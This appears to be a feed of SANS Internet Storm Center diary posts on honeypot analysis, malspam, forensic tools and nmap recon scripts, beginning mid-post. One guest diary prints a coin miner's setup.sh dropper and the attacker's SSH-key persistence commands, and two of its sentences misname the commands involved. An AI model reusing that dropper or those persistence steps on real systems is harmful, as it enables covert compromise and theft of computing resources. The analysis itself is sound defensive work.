For example, I am running two sensors behind an Asus RT-AC86U router, since this router doesn’t natively allow the same port entries when Port Forwarding two internal IP addresses, I opted to setup one sensor with only TCP ports 8000, 2222, 2223, 8443 open with the second sensor open to the entire port range: TCP/UDP 1:65535.  Utilizing the demilitarized zone (DMZ) is not currently an option due to how my network is setup.  The sensor with the entire port range open tends to see more traffic. 

Once you have your sensors up and running, I highly recommend setting up the DShield SIEM previously mentioned.  Here are some recommendations to consider for the SIEM:

1. Physical system or VM – it is best to install this on a system you can leave running 24/7 and not use your primary laptop or PC. Using a dedicated system allows the SIEM to constantly ingest the files from the sensors with minimal delays in populating the details in Kibana.  Occasional restarts and updates are expected, but they will be less frequent than if you use your primary system.  I repurposed an old HP laptop with 8 GB of RAM specifically for this task and placed it next to the sensors.
2. Hard Drive Space – Consider 300-500GB at minimum.  This is critical to hash out ahead of time.  The minimum recommended space for the Docker partition is 300GB, however, the more features you integrate (Arkime, Zeek, PCAP captures, etc), the quicker it will fill up.  I started with 100GB thinking it would be plenty.  I was wrong and within about a month and a half the SIEM wasn’t operating correctly due to not having enough space.  Deleting non-critical data worked for about a week.  I ended up adding a spare 1 TB external HDD, then expanded the volume group and logical volume to use the entire drive.
    

Now that the sensors are collecting data and the SIEM is ingesting the logs, you need to focus on what your first attack observation will be on.

SIEM Review and Correlation of File Uploads

After about 3 weeks, you should begin seeing quite a bit of interesting activity on the SIEM.  Here are a few examples of what you may see:

You have multiple options to focus your attention on.  If you narrow your results by IP, you may see the associated Username & Passwords, any commands that were attempted, or perhaps filenames.  If you filter by filename, you get the associated IP address or addresses along with all other data associated with just the filename.  When filtering by any filter other than IP to find associated IP addresses, I recommend choosing an IP or multiple IP addresses to populate additional data specific to that IP.  For example, if you want to find associated IP addresses for filename ‘sshd’, hover the cursor over the ‘Filename’ and select the + to add it as a filter near the top:

This filter results in the following IP addresses, Session Codes, and the associated SHA256 file hashes, among other information:

As you can see, filtering by ‘sshd’ identifies 4 IP addresses, associated sessions, and 2 different SHA256 hashes for the same filename.  This also narrows down only the logs related to this filter:

 

 

 

 

 

 

You can further narrow down the results by either IP address or focus on a single hash.  Let’s focus on a single IP address. Following the same example for filtering by filename, chose an IP address to filter on:

 This approach will narrow down the details specific to this IP address.  Select the X to remove the ‘sshd’ filter.  I recommend this  approach to see if this IP address is associated with other activities, such as web requests.

Filtering only a single IP, now reveals other Session details that you can further use to begin building an understanding of this threat actor. 

Using the single IP search also reveals related activity where 46 logs were recorded by the attempts of this threat actor: 

 

 

 

There are additional fields for this section of the SIEM, however, it is cut off for brevity.  Additional fields include destination port, source user command, username and password fields, along with HTTP request body for any web requests.

 

 

 

 

If you want to find the related details for all the associated IP addresses for the ‘sshd’ file, use the search field to create the expanded filter:

Other than what we’ve already covered, filtering using this search criteria will reveal all associated sessions and other interactions applicable to just those IP addresses.  In this example, there are 148 entries related to these IP addresses:

For the most part, observations that relate to files uploaded to a honeypot, the SIEM is about all I need.  Reviewing the cowrie JSON logs pulls everything with all relevant details for each IP address into a format I feel is a bit easier to follow.  Some data may not always populate on the SIEM, so it isn’t a bad idea to review the logs from the honeypot to confirm.

For Attack Observations related to malicious files, use VirusTotal to check the file hash and decide if it’s worth investigating further using other sandboxes such as Cuckoo Sandbox [2] or Joe Sandbox Cloud [3], among others.  Alternatively, using a virtual machine (VM) to perform various types of malware analysis may reveal details not reported on using automatic malware analysis.

HTTP Requests

One of the great things about using the SIEM is that you get a quick, upfront view of all the interactions happening on your sensor or sensors.  You could also parse through the logs manually to get similar data.  However, one thing that I just couldn’t wrap my head around is what is so special about these web requests?  Sure, we can Google the URLs, perhaps find CVEs or other sources related to a URL.  You might even be able to find vulnerable systems open on the internet.  For me, reviewing these requests on the SIEM or parsing through the logs still didn’t answer why.  Here is an example of web requests and user agents you might see on the SIEM to decide what you want to focus on:

Just like narrowing down results from potentially malicious files, we can do the same with the requests on the web interface of the SIEM to find the related IPs and other details.  Something I didn’t point out before is that the SIEM includes features to facilitate gathering information on a threat actor from CyberGordon, Censys, Shodan, or internally using Cont3xt: 

 

By narrowing down interesting files or web requests, you can use this section to visit the applicable websites for more information.  It is just an easier way of clicking and viewing details about that IP address.

 

 

 

Since the SIEM wasn’t cutting it for me with web requests, I turned to the logs from the sensors to manually parse.  However, as I will expand on in the last section, neither was really answering my question of what is making these requests so special.  But first, let’s turn to the logs.

Log Reviews from the DShield Sensor

Parsing the logs reveals a lot of details about an IP address or even web requests.  When I first started learning how to parse the JSON logs, I used both ChatGPT and an article from DigitalOcean called “How To Transform JSON Data with jq” [4].  Once you understand the structure of the JSON files, it is simple to parse the logs based on just about any search criteria.  To parse Telnet/SSH logs based on an IP address, you can use these commands:

There are a lot more details that can be pulled out, but you also must know what that log contains to know what the structure is.  Use the following command to parse the first object containing all the associated key-value pairs:

As an alternative to running the above commands, I decided to create a Python script to automate this approach to extract details I felt at the time to contain the details I wanted to focus on. [5]

I maintain two sensors, which automatically transfer copies of logged data to separate folders, daily. The script is in its own directory, so the file paths are relative to the script's location. Additionally, users have the flexibility to filter data either by IP address or Session ID. This is where the DShield SIEM proves invaluable. Users can first identify interesting data points, then further refine their search based on either IP address or Session ID:

For the sake of space, I only copied a portion of the results.  The output above also has data for all related sessions associated with that IP address.

When it comes to the webhoneypot logs, the process is similar, but the details will be different as the object and key-value pairs will be different.  Here is an example output of the webhoneypot logs:

The webhoneypot logs contain a lot of data.  Most, in my opinion, aren’t applicable to the details I would like to see.  Aside from manually parsing the files like the TELNET/SSH logs, I created a script specific to the format for these logs [5].  This gives a bit of flexibility for what you want to search for and whether you want to include any URLs that only begin with a forward slash “/”.  Depending on what you are searching for, the search could return hundreds of resulting logs.  For this reason, the script saves the results to a file, which also allows it to run faster.  Here is an example of running the script, then a partial output of the file:

The partial URL search is useful if you notice multiple URLs that contain a subdirectory in the path such as /jenkins/script and /jenkins/login.

While the web logs provide a lot of details, this goes back to what I mentioned earlier about something still seemed to be missing and answering the question of why these are being accessed.  This is where the PCAPs in the next section come into play.

Why You Should Use PCAPs

Having a honeypot running provides only so much insight into what a threat actor is doing just by reviewing the logs.  However, it wasn’t until I decided to focus an attack observation based upon the web requests that I realized something is missing.  If you haven’t decided to collect PCAPs up to this point, I highly recommend evaluating options to automatically collect them daily.  One option is using Daemonlogger by following the instructions provided by Mr. Bruneau’s DShield SIEM setup on Github [1] or finding a solution that works best for you.  

What you don’t get with the web logs from the honeypot is any inclination of what the threat actor may be doing – at least not from what I was able to observe.  For example, a path stood out to me that had over 500 requests to /cgi-bin/nas_sharing.cgi.  If you aren’t familiar with cgi-bin, it is often found on routers and other network devices such as NAS (network attached storage) devices from manufacturers such as Linksys, D-Link, Netgear, QNAP, Synology, etc.  A vulnerability in a path such as this is enticing to the actor as you will see in a moment.

After you have narrowed down an attack observation, found a URL path, and further reviewed the logs, you also narrowed down the dates to focus on.  Going back to how Daemonlogger is setup, it logs one PCAP file to a daily folder.  This makes it easy to go directly to the PCAP that will have the traffic of the URL to investigate further.  Taking the example of the /cgi-bin/nas_sharing.cgi, I reviewed PCAPs between 15-24 Apr 2024.  This is what I discovered that made these web requests even more interesting:

Remote Code Execution (RCE):

Parsing through the honeypot logs, I couldn’t find any correlation of that command.  The threat actor is using obfuscation to attempt to hide what they are doing by encoding the command into Base64.  Decoding the encoded string reveals the following:

With this information, you can build a rather thorough attack observation, having more data than simply a web request and researching the vulnerabilities associated with those file paths.
Here is one more HTTP request to highlight why you should capture network traffic on the sensor:

Without it, all you would find in the logs is that the HTTP request method is POST and URL is /device.rsp along with other associated data.

Final Thoughts

If you didn’t catch the details regarding data retention on the sensor at the start of the internship, the logs are deleted at certain intervals.  If you want to retain logs, set up an automatic way to transfer the logs to a separate system or a separate folder on the sensor.  My first or second attack observation included some logs that just so happen to be at the tail end of when they are deleted.  Fortunately, I had copies of the data, but I was relying on the details within the sensor.  When I went to parse the data again the next day, it was gone.  So, if you want long-term data retention for any of the logs, transfer the logs to another folder or system.  

I can’t reiterate it enough about the importance of capturing network traffic on the sensor.  The first month or so I hadn’t considered it.  After I started capturing the traffic, I rarely reviewed the PCAPs as most of the data I was looking at was encrypted traffic from the file uploads.  However, when it came to the web requests, this proved to be invaluable information.  

From observing the DShield SIEM to manually parsing the logs, find what works best for you and take time to review the data, extract interesting information, and develop the attack observation report over a few days.  

[1] https://github.com/bruneaug/DShield-SIEM
[2] https://malwr.ee/ 
[3] https://www.joesandbox.com/  
[4] https://www.digitalocean.com/community/tutorials/how-to-transform-json-data-with-jq 
[5] https://github.com/jrjobe/DShield-Cowrie-json-Parser 
[6] https://www.sans.edu/cyber-security-programs/bachelors-degree/

A few portions of this post were aided with the assistance of ChatGPT, most content is original - https://chatgpt.com/ 

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Malicious e-mail attachments come in all shapes and sizes. In general, however, threat actors usually either send out files, which themselves carry a malicious payload – such as different scripts, Office documents or PDFs – or they send out “containers”, which include such files – e.g., image files or archives. These container files, especially, can sometimes be quite unusual… Which is where today’s diary comes in.

While going over messages that were caught in my malspam traps over the course of May, I found multiple e-mails that carried files with TXZ extension as their attachments. Since this extension is hardly the most common one, I needed quick help from Google to find that it was associated with Tar archives compressed with XZ utils[1]. It seems that even when it comes to malicious e-mail attachments, use of this extension is relatively unusual, since a quick check revealed that my malspam traps haven’t caught any such files in in 2021, only one file in 2022, and none in 2023.

As it turned out, however, both the 2022 file and the current files, that my malspam traps caught, were actually not TXZ files, but rather renamed RAR archives.

Although threat actors commonly modify extensions of malicious files they send out, I was a little mystified by the change in this case, given the aforementioned less-then-common use of TXZ files, and – presumably – their limited support by archiving utilities. Further Google searching, however, soon revealed the reason for it.

It turned out that TXZ (and RAR) files were among the filetypes for which Microsoft added native support to Windows 11 late last year[2]. Potential recipients of the malicious messages who used this operating system might therefore have been able to open the attachments simply using standard Windows file explorer, even if the extension and the file type were mismatched.

It is worth noting that that although multiple e-mails were caught in the traps, they all belonged to one of two campaigns.

Messages from the first campaign contained texts in Spanish and Slovak languages and were used to distribute a 464 kB PE file with GuLoader malware, which had 53/74 detections on Virus Total at the time of writing[3].

Messages from the second campaign contained texts in Croatian and Czech languages and were used to distribute a 4 kB batch file downloader for the FormBook malware, which – at the time of writing – had 31/62 detection rate on Virus Total[4].

Even though attachments with TXZ extension probably won't become the new “go to” for threat actors when it comes to malspam attachments, these examples show that they are in active use – at least in some regionally targeted campaigns. And although "blocklisting the bad" is hardly an ideal overall security approach, in this case, it might, perhaps, be worthwhile considering whether blocking or quarantining messages carrying these files (or blocking attachments with TXZ extension in mail agents) wouldn’t be a reasonable course of action, if these files aren’t commonly used in the context of a specific organization…

[1] https://fileinfo.com/extension/txz
[2] https://www.bleepingcomputer.com/news/microsoft/windows-11-adds-support-for-11-file-archives-including-7-zip-and-rar/
[3] https://www.virustotal.com/gui/file/3f060b4039fdb7286558f55295064ef44435d30ed83e3cd2884831e6b256f542
[4] https://www.virustotal.com/gui/file/1ab5f558baf5523e460946ec4c257a696acb785f7cc1da82ca49ffce2149deb6

IoCs
CW_00402902400429.bat
MD5: cade54a36c9cc490216057234b6e1c55
SHA-1: 31c0f43c35df873e73858be2a8e8762b1e195edd
SHA-256: 1ab5f558baf5523e460946ec4c257a696acb785f7cc1da82ca49ffce2149deb6

IMG_SMKGKZ757385839500358358935775939058735RepollPsyllid.exe
MD5: c7f827116e4b87862fc91d97fd1e01c7
SHA-1: d28d1b95adbe8cfbedceaf980403dd5921292eaf
SHA-256: 3f060b4039fdb7286558f55295064ef44435d30ed83e3cd2884831e6b256f542

-----------
Jan Kopriva
@jk0pr | LinkedIn
Nettles Consulting

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

YARA 4.5.0 was released with a small change to the regex syntax (allowing more whitespace) and many bugfixes.

Victor considers that although YARA-X (the rewrite of YARA in Rust) is still in beta, you can start to use it now.

From his blog post "YARA is dead, long live YARA-X":

YARA-X is still in beta, but is mature and stable enough for use, specially from the command-line interface or one-shot Python scripts. While the APIs may still undergo minor changes, the foundational aspects are already established.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

After reading my diary entry "Checking CSV Files", a reader informed me that CSV toolkit csvkit also contains a command to check CSV files: csvstat.py.

Here is this tool running on the same CSV file I used in my diary entry:

csvkit has a lot of dependencies, it took my quite some effort to install it on a machine without Internet connection. I had to download, transfer and install 50+ packages.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

[This is a Guest Diary by Robert Riley, an ISC intern as part of the SANS.edu BACS program]

Introduction

Honeypot file uploads can be like opening pandoras box, never knowing what may get uploaded. Malware comes in all sorts of varieties and flavors, many suited for specific purposes and some for multiple. Today, we'll look at a malware named “redtail” and its purpose falls under the category, "Coin miners", software illegally uploaded to hosts for the purpose of covertly mining cryptocurrency for a remote actor by hijacking a host’s resources. The question we’d like answered is what capabilities do modern coin miners possess, and how can they be identified? Using this information from modern threat feeds could both give further insight into the threat actors perpetuating this attack, while also giving a glimpse into the current capabilities of coin miner malware actively being used in today’s threat landscape.

Description of the Subject

The “redtail” samples being evaluated are a look into a modern variant of coin miner malware being used in the wild today. The samples are interesting in that they have the capability to run on 4 different CPU architectures, showing just how much this malware could potentially infect a vast number of devices/hosts. We’ll be looking into the process of how the threat actor gained initial access, who are the threat actors, the different samples uploaded, and how these samples were identified as a coin miner.

Initial Analysis of the Attack

The analysis began in the form of an earlier attack observation [8]. I started by evaluating the IP 193.222.96.163, who was seen initially connected to the honeypot over SSH port 2222 on Feb 23rd 12:23:25 2024, shown as rapid logins happening back-to-back in increments of 23 (sign of bot behavior). After failing to login using the [root/lenovo] credentials, the actor successfully logs in using the [root/Passw0rd123] credentials. After authentication, the actor uploads a total of 5 files to the honeypot (redtail.arm7, redtail.arm8, redtail.i686, redtail.x86_64, setup.sh). 

The actor then runs commands that make the setup.sh file executable, then adds a custom public key to the ~/.ssh/authorized_keys file before making said file unmodifiable using the command https://www.abuseipdb.com/check/45.95.147.236. The full commands used are pated below:

chmod +x setup.sh; sh setup.sh;
rm -rf setup.sh;
mkdir -p ~/.ssh;
chattr -ia ~/.ssh/authorized_keys;
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys;
chattr +ai ~/.ssh/authorized_keys;
uname -a

Taking a closer look at the code for setup.sh shows us even more about the intentions of the remote IP. Namely, the shell script attempts to determine the host architecture based on the output of the command chattr +ai. Using this, the script copies the contents of the relevant redtail executable to the “.redtail” file on the host, and executes this new file, after which the original uploaded & unhidden redtail files are then deleted. If the architecture cannot be determined, then all the “redtail” file contents are copied to the “.redtail” file for good measure. The code is pasted below for more details:

#!/bin/bash

NOARCH=false;
ARCH="";
FOLDER="";

if [ -f "/bin/uname" ] && [ -f "/bin/grep" ]; then
        ARCH=$(uname -mp);
        if echo "$ARCH" | grep -q "x86_64" ; then
                ARCH="x86_64";
        elif echo "$ARCH" | grep -q "i686"; then
                ARCH="i686";
        elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
                ARCH="arm8";
        elif echo "$ARCH" | grep -q "armv7"; then
                ARCH="arm7";
        else
                NOARCH=true;
        fi
else
        NOARCH=true;
fi

#sysctl -w vm.nr_hugepages=$(nproc)

#for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d);
#do
#    echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages";
#done

FOLDER=$(find / -writable -executable -readable -not -path "/proc/*" | head -n 1 || echo /tmp);
CURR=${PWD}

if [ "$CURR" != "$FOLDER" ]; then
        mv redtail.* $FOLDER
        cd $FOLDER
fi

if [ "$NOARCH" = true ]; then
        cat redtail.x86_64 > .redtail; chmod +x .redtail; ./.redtail;
        cat redtail.i686 > .redtail; chmod +x .redtail; ./.redtail;
        cat redtail.arm8 > .redtail; chmod +x .redtail; ./.redtail;
        cat redtail.arm7 > .redtail; chmod +x .redtail; ./.redtail;
else
        cat "redtail.$ARCH" > .redtail; chmod +x .redtail; ./.redtail;
fi

rm -rf redtail.*

Just doing a hash lookup on any of the redtail files, it can quickly be determined that its goal is that of a coin miner, as looking up the hash of each of the files in Virus Total tags these files with such labels. This sample showed behaviors such as executing crontab, modifying iptables rules, and shows UPX packing common in other coin miners, and listens on a newly created socket. 

Digging Deeper

The 1st IP, x.x.x.163, is located either in the Netherlands or France, and comes from the ISP Constant MOULIN. Doing a quick analysis using a few reputation sites for this IP, we see that this attack is one of the 1st recorded instances of its malicious behavior [2], a VT score of 23/90 [1], and a 100% confidence of abuse [4]. This IP still has reports still being generated today by both on my honeypot and in the wild. Regarding “redtail” file uploads, there are a recorded 5 separate times where this IP successful uploads “redtail” & “setup.sh” files to the honeypot. In each case before uploading, they successfully authenticate as the “root” user before. The most recent activity from this IP on the honeypot is as recent as 5/2, trying to guess SSH usernames & passwords. Below is the complete activity of this IP, with the 5 “redtail” submissions marked.

It gets more interesting when looking at all the IP's who tried to submit these "redtail" and "setup.sh" files, as there are only two IP's engaging in this activity: 193.222.96.163 & 45.95.147.236, the secondary IP being one we haven’t evaluated yet. This 2nd IP, x.x.x.236, located in the Netherlands, is from the Alsycon Media B.V. ISP. Doing a similar reputation analysis on this IP shows malicious activity as far back as 10/7/2024 [5], a VT score of 17/91 [4], and once again a 100% confidence of abuse [6]. For the honeypot, this IP was first seen on 1/28/2024, making it the 1st IP seen on the honeypot engaging in this activity. The IP tried to login via SSH using brute force, although curiously upon successfully logging disconnects shortly after. It isn’t until about 2 weeks later, on 2/11, that we see a successful “redtail” & “setup.sh” file uploads after authenticating using the [root/lenovo] username/password combo. The last time this IP is seen is on 3/20/2024, trying to login via SSH w/ the [root/a] username/password combo.

This is the only recorded instance of file uploads from this IP, as the address engages in a variety of behaviors against this endpoint compared to the primary IP, x.x.x.163. This includes connecting to various SSH ports, many different username/password submissions, and even URL requests at one point (w/ interesting user agents). It’s interesting to note that the primary IP, x.x.x.163, may also be geographically located in the Netherlands like the secondary IP, but can’t confirm for certain due to the ISP being spread across countries. The implication here is that if both IPs are from the NL, one could point to both these IP’s being from the same threat actor, but that is speculative. For the most part, however, most of the activity comes from the primary IP, x.x.x.163. 

Looking closer at the “redtail” and “setup.sh” files themselves by hash reveals interesting info on the IP’s who upload them to the honeypot. Out of the 28 unique hashes ever submitted, every single one of these file submissions had a Virus Total score of at least 19, another piece of evidence proving maliciousness [7]. Between the “redtail” files, each had unique hashes that were only used in the respective batch submission. This means that the 4/5 files submitted during the initial analysis of the primary IP submission on 2/23, that those files were never once used again by either IP. This applies to every one of the 6 batch submission of “redtail” files between both IP’s. The exception to this rule was regarding the “setup.sh” file, which had 2 hashes that were submitted twice on different dates. 

Conclusion

This analysis stuck out for a few reasons. One was the sheer number of file submissions, totaling over 400+ separate submissions over the course of about 4 months. Another was how all these submissions came from only 2 IP’s in roughly the same geographic area. These combine to show insight into more modern variants of coin miner malware, and the threat actors spreading this malware.

[1] https://www.virustotal.com/gui/ip-address/193.222.96.163 (23/90 VT score)
[2] https://isc.sans.edu/ipinfo/193.222.96.163 (5/10 risk score)
[3] https://www.abuseipdb.com/check/193.222.96.163 (100% confidence of abuse)
[4] https://www.virustotal.com/gui/ip-address/45.95.147.236 (17/91 VT score)
[5] https://isc.sans.edu/ipinfo/45.95.147.236 (0/10 risk score)
[6] https://www.abuseipdb.com/check/45.95.147.236 (100% confidence of abuse)
[7] “Hash Info.csv” – Sheet of all file submissions w/ info (attached)
[8] “Attack Observation #5.pdf” – AO where initial analysis of primary IP was done (attached)
[9] https://github.com/bruneaug/DShield-SIEM (provided visualizations)
[10] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Going back a year or so, I wrote a story on the passive recon, specifically the IPINFO API (https://isc.sans.edu/diary/28596).  This API returns various information on an IP address: the registered owning organization and ASN, and a (usually reasonably accurate) approximation of where that IP might reside.
Looking at yesterday's story, I thought to myself, why not port my script from last year to an NMAP NSE script?  So I did!

Using the shodan-api nmap script as a template, I updated the following lines:

The actual API call of course is different:
  local response = http.get("ipinfo.io", 443, "/".. target .."/json?token=" .. registry.apiKey, {any_af = true})

This was a simple change, since the API key is still represented a a parameter in the URI this was just plug-n-play.

Also, because of differing return formats, in that same function I removed all the error checking of the returned values and replaced it with a simple return:
  return response.body

Note that there is a line
-- local apikey =""
If you want to embed your own API key into this script, remove the "--" (comment characters) and put your key in that line.

As with the Shodan script, you can tack IPINFO on to an existing active scan, or you can run it passively wiuth "-sn -Pn -n" as:

nmap -Pn -sn -n -P 8.8.8.8 --script ipinfo.nse --script-args "ipinfo.apikey=<your apikey goes here>"
Starting Nmap 7.92 ( https://nmap.org ) at 2024-05-21 11:34 Eastern Daylight Time
Nmap scan report for 8.8.8.8
Host is up.

Host script results:
| ipinfo: {
|   "ip": "8.8.8.8",
|   "hostname": "dns.google",
|   "anycast": true,
|   "city": "Mountain View",
|   "region": "California",
|   "country": "US",
|   "loc": "37.4056,-122.0775",
|   "org": "AS15169 Google LLC",
|   "postal": "94043",
|   "timezone": "America/Los_Angeles"
|_}

Post-scan script results:
|_ipinfo: IPInfo done: 0 hosts up.
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

Simple as that!  Now I can return host ownership and location info with my nmap scans, or if I'm in a hurry, instead of the normal nmap scan!  This information can be pretty handy when analyzing potential attacks, for instance looking at a failed authentication to see if the geography matches where that person could conceivably be - you only have to go back a few days for my post on VPN credential stuffing attacks for an example of this.

I've got one more of these APIs in the hopper - if you have another recon API you'd like to see in an nmap script, by all means let me know in our comment form!

All of my recon scripts (both the command-line and the nmap scripts) are posted in my github: https://github.com/robvandenbrink/recon_scripts

===============
Rob VandenBrink
rob@coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

A year ago I wrote up using Shodan's API to collect info on open ports and services without actually scanning for them (Shodan's API for the (Recon) Win!).  This past week I was trolling through the NMAP scripts directory, and imagine my surprise when I stumbled on shodan-api.nse.
So the network scanner we all use daily can be used to scan without actually scanning?  Apparently yes!

First the syntax:
nmap <target> --script shodan-api --script-args 'shodan-api.apikey=SHODANAPIKEY'
(note: use double quotes for script-args if you are doing this in Windows)

This still does a basic scan of the target host though.  To do this without scanning, without even sending any packets to your host, add:

-sn do a ping scan (ie we're not doing a port scan)
-Pn Don't ping the host, just assume that it's online
Neat trick there eh?  This essentially tells nmap to do nothing for each host in the target list, but don't forget that script we asked you to run!

This also has the advantage of doing the "scan" even if the host is down (or doesn't return on a ping)

Plus, just to be complete:
-n  Don't even do DNS resolution
This way NMAP isn't sending anything to the host or even to hosts under the client's control (for instance if they happen to host their own DNS).

If you're doing a whole subnet, or the output is large enough to scroll past your buffer, or if you want much (much) more useful output, add this to your script-args clause:
shodan-api.outfile=outputfile.csv

Let's put this all together:

nmap -sn -Pn -n www.cisco.com --script shodan-api --script-args "shodan-api.outfile=out.csv,shodan-api.apikey=<my-api-key-not-yours>"
Starting Nmap 7.92 ( https://nmap.org ) at 2024-05-17 09:53 Eastern Daylight Time
Nmap scan report for www.cisco.com (184.26.152.97)
Host is up.

Host script results:
| shodan-api: Report for 184.26.152.97 (www.static-cisco.com, www.cisco.com, www.mediafiles-cisco.com, www-cloud-cdn.cisco.com, a184-26-152-97.deploy.static.akamaitechnologies.com)
| PORT  PROTO  PRODUCT      VERSION
| 80    tcp    AkamaiGHost
|_443   tcp    AkamaiGHost

Post-scan script results:
| shodan-api: Shodan done: 1 hosts up.
|_Wrote Shodan output to: out.csv
Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds

Neat eh?  It collects the product and version info (when it can get it).  The CSV file looks like this:

IP,Port,Proto,Product,Version
184.26.152.97,80,tcp,AkamaiGHost,
184.26.152.97,443,tcp,AkamaiGHost,

This file format is a direct import into a usable format in powershell, python or just about any tool you might desire, even Excel :-)

Looking at a more "challenging" scan target:

nmap -sn -Pn -n isc.sans.edu --script shodan-api --script-args "shodan-api.outfile=out.csv,shodan-api.apikey=<my-api-key-not-yours>"

IP,Port,Proto,Product,Version
45.60.103.34,25,tcp,,
45.60.103.34,43,tcp,,
45.60.103.34,53,tcp,,
45.60.103.34,53,udp,,
.. and so on.

Look at line 4!  If you've ever done a UDP scan, you know that it can take for-e-ver!  Since this is just an api call, it collects both tcp and udp info from Shodan.

How many ports are in the output?
type out.csv | wc -l
    160

159 ports, that's how many! (subtract one for the header line)  This would have taken a while with a regular port scan, but with a shodan query it finishes in how long?

Post-scan script results:
| shodan-api: Shodan done: 1 hosts up.
|_Wrote Shodan output to: out.csv
Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds

Yup, 1.2 seconds!

This script is a great addition to nmap, it allows you to do a quick and dirty scan for what ports and services have been available recently, with a bit of rudimentary info attached.

Did you catch that last hint?  If you're doing a pentest, it's well worth digging into that word "recently".  Looking at ports that are in the shodan list, but aren't in a real portscan (that you'd get from nmap -sT or -sU) can be very interesting.  These are services that the client has recently disabled, maybe just for the duration  of the pentest.  For instance, that FTP server or totally vulnerable web or application server that they have open "only when they need it" (translation: always, except for during the annual pentest).  If you can pull a diff report between what's in the shodan output and what's actually there now, that's well worth looking into, say for instance using archive.org.  If you do find something good, my bet is that it falls into your scope!  If not, you should update your scope to "services found during the test in the target IP ranges or DNS scopes" or similar.  You don't want something like this excluded simply because it's (kinda) not there during the actual assessment :-)

Got another API you'd like to see used in NMAP?  Please use our comment form.  Stay tuned I have a list, but if you've got one I haven't thought of I'm happy to add anohter one!

===============
Rob VandenBrink
rob<at>coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

.msg email files are ole files and can be analyzed with my tool oledump.py.

They have a lot of streams, so finding the information you need (body, headers, attachments, ...) can take some time searching.

That's why I have a plugin that summarizes important information from .msg files: plugin_msg.summary.py.

This is how its output looks like when I run it on a .msg file with malicious attachment:

While showing a friend my plugin features, I got the idea to make some updates to this plugin.

First, when attachments are inline and/or hidden, that information is added to the attachment overview, as can be seen in the screenshot above for attachment 0.

Inline attachments are typically pictures that have been pasted into the email's body, and do not appear as seperate attachments when opened in Outlook, for example.

If you are analyzing an email for malicious attachments, you can first focus on attachments that are not inline.

This information also appears when outputing JSON information for the analyzed .msg file:

Second, I added a new option to output JSON information for the attachments with their contents, so that these attachments can be analyzed as I explained in recent diary entries "Analyzing PDF Streams" and "Another PDF Streams Example: Extracting JPEGs".

This JSON output can be piped into my other tools that support this JSON format, like file-magic.py (to identify the file type based on its content):

If an attachment is inline and/or hidden, this -J output option prefixes the attachment name in the JSON output:

And I also updated my plugin plugin_msg.py to parse property streams. This is where information like inline and hidden are stored:

As can be seen in the screenshots, there are also properties for timestamps like creatiion time and last modification time.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Wireshark release 4.2.5 fixes 3 vulnerabilities (%%cve:2024-4853%%, %%cve:2024-4854%% and %%cve:2024-4855%%) and 19 bugs.

Didier Stevens

Senior handler
blog.DidierStevens.com

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

In my diary entry "Analyzing PDF Streams" I showed how to use my tools file-magic.py and myjson-filter.py together with my PDF analysis tool pdf-parser.py to analyze PDF streams en masse.

In this diary entry, I will show how file-magic.py can augment JSON data produced by pdf-parser.py with file-type information that an then be used by myjson-filter.py to filter out files you are interested in. As an example, I will extract all JPEGs from a PDF document.

First, let's produce statistics with pdf-parser.py's option -a:

This confirms that there are many "Indirect objects with a stream" in this document.

Next, I let pdf-parser.py produce JSON output (--jsonoutput) with the content of the unfiltered streams, and I let file-magic.py consume this JSON output (--jsoninput) to try to identify the file type of each stream based on its content (since streams don't have a filename, there is no filename extension and we need to look at the content):

